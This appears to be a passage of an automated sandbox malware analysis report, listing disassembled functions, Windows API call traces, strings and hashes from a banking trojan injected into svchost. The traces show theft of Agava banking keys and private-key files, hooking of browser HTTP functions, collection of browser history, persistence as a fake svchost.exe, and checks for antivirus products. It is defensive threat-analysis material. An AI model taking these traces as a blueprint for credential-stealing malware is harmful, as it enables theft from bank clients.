                                                                                                                                                                                                            • Instruction ID: 569bf26a2def1edc4cb05cddb7a7f3ce9fcae66e4d6dcb0b6dd01093a2b4cad0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ceb619c8fa7899ef27855cc22855de1c515b737fd8da5128151d90fc4595cb69
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5BD14AB1A042416BE7218F38ACD47B7FFF6AF46214B584699E885CB792E732DD08C750
                                                                                                                                                                                                            Function 004034E9 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 292memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040351B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 00403567
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040356E
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403586
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 004035A0
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 004035C3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004035DA
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004035EE
                                                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00403643
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 00403662
                                                                                                                                                                                                            • wcsstr.MSVCRT ref: 00403695
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040372B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0040375C
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000), ref: 00403763
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040376A
                                                                                                                                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0040379B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004037F7
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004037FA
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403807
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040380A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040381D
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00403820
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040382D
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00403830
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$File$Process$FreePointerValidatewcsstr$AllocCloseCreateHandleInitModuleNameReadSizeVariantWrite_snwprintfmemset
                                                                                                                                                                                                            • String ID: 00-->$<Actions $p=)u
                                                                                                                                                                                                            • API String ID: 3028510665-3614734336
                                                                                                                                                                                                            • Opcode ID: 03d92ed9c350a22cff9bf3ba1b65dc31ee79c9631ebe11a42a2e6577e904a005
                                                                                                                                                                                                            • Instruction ID: 013638ac99e31dc1b3f0b1cbc1bcbf050739cfec6944e8e6b412d7e6261d8edc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 03d92ed9c350a22cff9bf3ba1b65dc31ee79c9631ebe11a42a2e6577e904a005
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 32A1C0B1500311ABC720DF64CC49F5B7BA8EFC8751F048A69FA49A7391D774EA04CBA4
                                                                                                                                                                                                            Function 02D231A0 Relevance: 49.3, APIs: 17, Strings: 11, Instructions: 273stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D24800: memset.MSVCRT ref: 02D24824
                                                                                                                                                                                                              • Part of subcall function 02D24800: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D2482F
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,00000000,Agava_Client.exe), ref: 02D231C6
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02D231E5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D231F7
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D23208
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(Containers,UseToken,00000000,?,00000104,?), ref: 02D23250
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D23264
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(Containers,KeysDiskPath,00000000,?,00000104,?), ref: 02D232A4
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D232B2
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D232C7
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D23364
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5CF94), ref: 02D2339D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$HandlePrivateProfileString$BackslashCloseCreateCurrentDirectoryFileInformationModuleNameOpenPathProcessSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID: .ini$Agava_Client.exe$Agava_Client.ini$Agava_keys$Containers$KeysDiskPath$Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$UseToken$keys.zip$keys_path.txt$\t
                                                                                                                                                                                                            • API String ID: 2651364649-733209536
                                                                                                                                                                                                            • Opcode ID: ff47f0b48860b5a7b6ec0bddeeba6f7b8e8d5014d76c5402560abecc1bc6b0db
                                                                                                                                                                                                            • Instruction ID: 66dfc5bf6e9da3fa054b5bcde98ddbb9a583e1a6a6249cd93574e4b7ee2288c0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ff47f0b48860b5a7b6ec0bddeeba6f7b8e8d5014d76c5402560abecc1bc6b0db
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 67A136349402699FDB16CF24A8A8BEA7BE4EF69304F1485D4E985D7340EB709E4DCBD0
                                                                                                                                                                                                            Function 02D10EF0 Relevance: 45.6, APIs: 14, Strings: 12, Instructions: 137libraryloadermemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Crypt32.dll,00000000,00000000,7591F550,00000000), ref: 02D10F0E
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CertVerifyCertificateChainPolicy), ref: 02D10F24
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,00000006,00000040,?,75921620), ref: 02D10F3C
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,00000006,?,?), ref: 02D10F5E
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(Wininet.dll,00000000,00000000), ref: 02D10F6A
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestA), ref: 02D10F80
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestW), ref: 02D10F9C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestExA), ref: 02D10FB8
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,HttpSendRequestExW), ref: 02D10FD4
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetQueryDataAvailable), ref: 02D10FF0
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 02D1100C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetReadFileExA), ref: 02D11028
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetReadFileExW), ref: 02D11044
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 02D11060
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$LibraryLoadProtectVirtual
                                                                                                                                                                                                            • String ID: CertVerifyCertificateChainPolicy$Crypt32.dll$HttpSendRequestA$HttpSendRequestExA$HttpSendRequestExW$HttpSendRequestW$InternetCloseHandle$InternetQueryDataAvailable$InternetReadFile$InternetReadFileExA$InternetReadFileExW$Wininet.dll
                                                                                                                                                                                                            • API String ID: 1705253364-835984666
                                                                                                                                                                                                            • Opcode ID: 9311b9ab34583adc6326987d5b4eb2f440b585048ca484e34984577a5a3ae0c4
                                                                                                                                                                                                            • Instruction ID: 2e8bab0f22fd85b838cfb6e8b2748f53643499a9f4d88a3c942aafce0766f9ab
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9311b9ab34583adc6326987d5b4eb2f440b585048ca484e34984577a5a3ae0c4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F6317A74B8131677FA20BA72BC13F9B235D9F01E95F200110B906B2B85DEA9ED49C978
                                                                                                                                                                                                            Function 02D1E2FC Relevance: 44.0, APIs: 17, Strings: 8, Instructions: 259fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02D1E308
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,found.), ref: 02D1E323
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,asus), ref: 02D1E33E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5905E0), ref: 02D1E364
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1E39E
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1E3A8
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1E3B0
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1E3BF
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1E3C6
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5905E0,?,?), ref: 02D1E469
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1E4A3
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1E4AD
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1E4B5
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1E4C4
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1E4CB
                                                                                                                                                                                                            • FindNextFileA.KERNEL32(?,?), ref: 02D1E5BF
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02D1E5F3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Error$LastPath$AdminBackslashCreateDirectoryFileFolderMakeSystemUser$AttributesFindModeNext
                                                                                                                                                                                                            • String ID: .txt$.zip$5C5905E0$asus$found.$keys$path$\t
                                                                                                                                                                                                            • API String ID: 2233314381-2085748686
                                                                                                                                                                                                            • Opcode ID: 6d7f317ec6fd087891b061702d81cd29f1248250dbb53b33278163f38f66b0c1
                                                                                                                                                                                                            • Instruction ID: dc673bec8987248d7538214439e8d9937919bb53a92d00ebc035a62943bb32c1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6d7f317ec6fd087891b061702d81cd29f1248250dbb53b33278163f38f66b0c1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CE91E1345083469FDB25CF34A468AABBBE5AF99345F188A58ECC6C7300EB71DD09C791
                                                                                                                                                                                                            Function 02D1EB30 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 217filethreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,prv_key.pfx), ref: 02D1EB5D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59047E), ref: 02D1EB9E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59047E), ref: 02D1EBD2
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1EBE7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1EBF1
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1EBF9
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1EC0A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1EC11
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D1EC4B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D1EC58
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59047E,02D4FDB8,02D4FDB9), ref: 02D1EC99
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1ECD4
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1ECDE
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1ECE6
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1ECF7
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1ECFE
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D1ED3B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D1ED48
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1EF40,02D4FDB8,00000000,00000000), ref: 02D1ED7E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1ED96
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1EDA7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$ErrorFileLast$BackslashCreate$AdminAttributesDeleteDirectoryFolderHandleMakeSystemUser$CloseInformationThread
                                                                                                                                                                                                            • String ID: 5C59047E$pass.log$path.txt$prv_key.pfx
                                                                                                                                                                                                            • API String ID: 448721894-3495669106
                                                                                                                                                                                                            • Opcode ID: 6d98edd1356f646e893931a88946a1c5cb00af86fa334acd66086d2f6863d980
                                                                                                                                                                                                            • Instruction ID: cdce3b231bb5d6b8a61db520b8764f254298286acde91bafd35388adb0bf35ac
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6d98edd1356f646e893931a88946a1c5cb00af86fa334acd66086d2f6863d980
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C7710338A40255AFDB118F38B868BEA7BE5EF56300F548991ED86C7340DBB0DD44CBA0
                                                                                                                                                                                                            Function 02D046C0 Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 178fileregistryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\TypedURLs,00000000,00020119,?), ref: 02D046E5
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D0470D
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,75923490), ref: 02D04747
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04769
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 02D04775
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,IE history:,0000000C,02D056A1,00000000), ref: 02D04789
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 02D04797
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D047AB
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02D047B7
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45B10,00000001,00000000,00000000), ref: 02D047CB
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02D047D9
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04803
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D0480F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D04824
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 02D04834
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04848
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04854
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D04868
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04876
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D04895
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D048AC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$LockPointerUnlockWrite$_snprintf$CloseOpenQueryValue
                                                                                                                                                                                                            • String ID: IE history:$Software\Microsoft\Internet Explorer\TypedURLs$url%i
                                                                                                                                                                                                            • API String ID: 757183407-427538202
                                                                                                                                                                                                            • Opcode ID: 107fc73b7ebe6c98f1260f6713d6c6a10634c96e7ce9b3b4bdf1ebf7cba63c0c
                                                                                                                                                                                                            • Instruction ID: 658633b79877fc7890b0424feb4462409f6c64f17e6b965ece3a8ac57aaed000
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 107fc73b7ebe6c98f1260f6713d6c6a10634c96e7ce9b3b4bdf1ebf7cba63c0c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 97514C75A91319BBF7209B90AC8AFEF77B8EB45B05F504445F701AA2C0D7F06E048BA5
                                                                                                                                                                                                            Function 02D15020 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 169memorysleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D14330: IsUserAnAdmin.SHELL32 ref: 02D1433A
                                                                                                                                                                                                              • Part of subcall function 02D14330: memset.MSVCRT ref: 02D14370
                                                                                                                                                                                                              • Part of subcall function 02D14330: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,00000000), ref: 02D14397
                                                                                                                                                                                                              • Part of subcall function 02D14330: RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,00000000,00000104,?,?,00000000), ref: 02D143BA
                                                                                                                                                                                                              • Part of subcall function 02D14330: GetProcessHeap.KERNEL32(00000008,00000015,?,?,00000000), ref: 02D1442D
                                                                                                                                                                                                              • Part of subcall function 02D14330: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02D14434
                                                                                                                                                                                                              • Part of subcall function 02D14330: memset.MSVCRT ref: 02D14444
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02D1503F
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D15054
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: IsNetworkAlive.SENSAPI(02D06BEE,00000000), ref: 02D14B03
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: IsUserAnAdmin.SHELL32 ref: 02D14B11
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: DnsFlushResolverCache.DNSAPI ref: 02D14B1B
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: memset.MSVCRT ref: 02D14B38
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,75920F10), ref: 02D14B57
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02D14B70
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14B83
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: memset.MSVCRT ref: 02D14B9C
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,75920F10), ref: 02D14BB5
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02D14BC8
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14BD5
                                                                                                                                                                                                            • Sleep.KERNEL32(000001F4), ref: 02D15075
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?), ref: 02D1508C
                                                                                                                                                                                                            • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02D150A4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,00000001,00000000,?,?,Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000001,?,?,00000001,00000000), ref: 02D1512C
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D1512F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D1513C
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D1513F
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 02D15165
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • A3B7FAF8a, xrefs: 02D15029
                                                                                                                                                                                                            • id=1&post=%u, xrefs: 02D15046
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02D150C2
                                                                                                                                                                                                            • C:\Windows\apppatch\svchost.exe, xrefs: 02D15173, 02D1519B, 02D151B0, 02D151BB, 02D151D1
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02D150CB, 02D150E0, 02D15108
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$memset$Process$AdminCheckConnectionInternetTempUserlstrcpyn$AliveAllocCacheCountFileFlushFreeHeaderImageNameNetworkOpenPathQueryResolverSleepTickValidateValue_snprintf
                                                                                                                                                                                                            • String ID: A3B7FAF8a$C:\Windows\apppatch\svchost.exe$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$id=1&post=%u
                                                                                                                                                                                                            • API String ID: 2364452126-2209314532
                                                                                                                                                                                                            • Opcode ID: d7a0c50bc13c9be02e6f1c9ec4d48e4378c97c2954396d3c26c2687645dc9fb2
                                                                                                                                                                                                            • Instruction ID: 8275bf6b0d13e5cf232659feaff349229e1e6bede5c0d4bc8d4a22722223b7da
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d7a0c50bc13c9be02e6f1c9ec4d48e4378c97c2954396d3c26c2687645dc9fb2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1B51C875A80315BBFB209FA4BC89FEA37A9DF54744F940444FA0597380EBB4AD44CBA1
                                                                                                                                                                                                            Function 02D05EB0 Relevance: 39.1, APIs: 13, Strings: 13, Instructions: 76COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,avast.com,?,?,02D0604F), ref: 02D05ECB
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,kaspersky,?,avast.com,?,?,02D0604F), ref: 02D05EDB
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,drweb,?,kaspersky,?,avast.com,?,?,02D0604F), ref: 02D05EEB
